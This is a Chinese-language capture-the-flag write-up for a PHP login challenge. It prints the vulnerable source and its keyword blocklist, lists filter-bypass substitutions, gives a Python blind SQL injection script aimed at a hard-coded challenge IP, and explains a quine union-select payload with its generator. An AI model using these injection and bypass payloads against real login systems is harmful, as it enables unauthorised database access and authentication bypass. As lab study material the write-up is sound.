quine注入
https://www.shysecurity.com/post/20140705-SQLi-Quine
https://www.anquanke.com/post/id/253570
ctrl+u看源碼
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="賬號"><br/>
<input type="password" name="password" placeholder="密碼"><br/>
<input type="submit" / value="登錄">
</form>
</body>
</html>
根據提示訪問/?source得到后端代碼
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="賬號"><br/>
<input type="password" name="password" placeholder="密碼"><br/>
<input type="submit" / value="登錄">
</form>
</body>
</html>
盲注password。過濾繞過如下:
空格 -> /**/
= -> like
<>(大於小於號) -> least(),greatest()
substr -> mid
in -> like('admi%')
import requests
#fc3e129bd11f8e7ecf9fc816:eg1b5c3
Ts = "wrong password"
Fs = "something wrong"
url = "http://1.14.71.254:28081/index.php"
def SQL_injection(url) :
res = ""
for i in range(1,2000) :
left = 32
right = 128
mid = (left + right) // 2
while (left < right) :
bool_db = "least(ord(mid((select(database())),%d,1)),%d)like(%d)" % (i, mid,mid)
bool_user=f"least(ord(mid((select(password)from(users)where(username)like('admi%')),{i},1)),{mid})like({mid})"
payload = f"'/**/or/**/{bool_user}#"
data = {"username":"admin","password":payload}
resp = requests.post(url = url, data = data)
#print(resp.text)
if Ts in resp.text :
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
if __name__ == "__main__" :
# data = {"username":"admin","password":"'/**/or/**/1#"}
# print(data)
# resp = requests.post(url = url, data = data)
# print(resp.text)
SQL_injection(url)
注出來fc3e129bd11f8e7ecf9fc816:eg1b5c3,然鵝密碼錯誤嗚嗚嗚
搜了一下wp,這題users是空表(但是為啥能注出來捏???)
這時就需要燒腦的quine注入了。核心思想就是讓sql語句執行的結果等於sql語句本身,來繞過這個驗證
$row['password'] === $password
先看最終的password
'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#
別急。
首先
CHAR(34)="
CHAR(39)='
CHAR(33)=!
我們令
str2=
"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#
str1=
'/**/union/**/select(REPLACE(REPLACE('!',CHAR(34),CHAR(39)),CHAR(33),'!'))#
(兩者區別是引號)
password變成
'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#
執行內層REPLACE
'/**/union/**/select(REPLACE(str1,CHAR(33),'str2'))#
再執行
'/**/union/**/select(REPLACE(REPLACE('str2',CHAR(34),CHAR(39)),CHAR(33),'str2'))#
結果和password是一樣的!!!
這題可以用上面鏈接中的腳本生成這個payload
def quine(data, debug=True):
if debug: print(data)
data = data.replace('!!',"REPLACE(REPLACE(!!,CHAR(34),CHAR(39)),CHAR(33),!!)")
blob = data.replace('!!','"!"').replace("'",'"')
data = data.replace('!!',"'"+blob+"'")
if debug: print(data)
return data
"""
!!填充的東西執行完之后和data一樣
"""
data="'/**/union/**/select(!!)#"
quine(data)